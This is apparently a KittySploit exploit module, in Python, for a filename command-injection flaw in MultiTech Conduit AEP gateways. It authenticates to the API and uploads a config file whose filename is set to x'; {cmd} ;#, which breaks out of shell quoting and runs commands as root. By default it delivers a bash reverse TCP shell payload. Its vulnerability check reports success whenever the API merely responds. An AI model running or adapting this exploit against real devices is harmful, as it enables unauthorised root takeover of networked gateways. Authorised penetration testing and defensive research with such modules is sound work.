MultiTech Conduit import_config filename command injection RCE

"""MultiTech Conduit AEP import_config filename command injection root RCE."""
from __future__ import annotations
import json
from kittysploit import *
from lib.protocols.http.http_client import Http_client

class Module(Exploit, Http_client):
    __info__ = {'name': 'MultiTech Conduit import_config filename command injection RCE', 'description': 'Authenticated POST /api/command/upload_config with malicious filename breaks out of import_config shell quoting.', 'author': ['KittySploit Team'], 'platform': Platform.LINUX, 'arch': [Arch.CMD], 'payload': {'default': 'payloads/singles/cmd/unix/bash_reverse_tcp', 'platform': Platform.UNIX, 'category': PayloadCategory.CMD}, 'references': [], 'tags': ['multitech', 'conduit', 'rce', 'authenticated'], 'agent': {'risk': 'critical', 'effects': ['active_exploitation', 'remote_code_execution'], 'expected_requests': 3, 'reversible': False, 'approval_required': True, 'produces': ['rce', 'shell'], 'chain': {'suggested_followups': ['scanner/http/multitech_conduit_import_config_rce_detect']}}}
    port = OptPort(443, 'Conduit web/API port', required=True)
    ssl = OptBool(True, 'Use HTTPS', required=False)
    username = OptString('admin', 'API username', required=True)
    password = OptString('', 'API password', required=True)
    upload_field = OptString('file', 'Multipart field name for config upload', required=False)

    def _multipart(self, filename: str, filedata: bytes, fieldname: str) -> tuple[bytes, str]:
        boundary = '----pocboundary7482910365'
        body = f'--{boundary}\r\nContent-Disposition: form-data; name="{fieldname}"; filename="{filename}"\r\nContent-Type: application/octet-stream\r\n\r\n'.encode('utf-8') + filedata + f'\r\n--{boundary}--\r\n'.encode('ascii')
        return (body, f'multipart/form-data; boundary={boundary}')

    def _login(self) -> bool:
        body = json.dumps({'user': str(self.username or 'admin'), 'password': str(self.password or '')})
        resp = self.http_request('POST', '/api/login', data=body, headers={'Content-Type': 'application/json'}, session=True)
        if not resp or int(resp.status_code or 0) not in (200, 201, 204):
            return False
        if resp.cookies or (resp.text and 'token' in (resp.text or '')):
            return True
        return int(resp.status_code or 0) < 400

    def execute(self, cmd: str) -> str:
        if not self._login():
            return 'POST /api/login failed'
        malicious = f"x'; {cmd} ;#"
        field = str(self.upload_field or 'file')
        data, ctype = self._multipart(malicious, b'placeholder configuration body\n', field)
        resp = self.http_request('POST', '/api/command/upload_config', data=data, headers={'Content-Type': ctype}, session=True)
        if not resp:
            return 'upload_config failed'
        text = (resp.text or '')[:4000]
        return f'HTTP {resp.status_code}\n{text}'

    def check(self):
        resp = self.http_request('GET', '/api/login')
        if resp and int(resp.status_code or 0) < 500:
            return {'vulnerable': True, 'reason': 'Conduit API reachable', 'confidence': 'low'}
        return {'vulnerable': False, 'reason': 'API not reachable', 'confidence': 'low'}

    def run(self):
        shell = self.shell_from_payload()
        if not shell:
            print_error('Set payload')
            return False
        if not str(self.password or '').strip():
            print_error('Set API password')
            return False
        chk = self.check()
        if not chk.get('vulnerable'):
            print_error(chk.get('reason', 'Target not ready'))
            self.not_vulnerable()
            return False
        print_status('upload_config filename injection')
        print_info(self.execute(shell))
        self.vulnerable()
        return True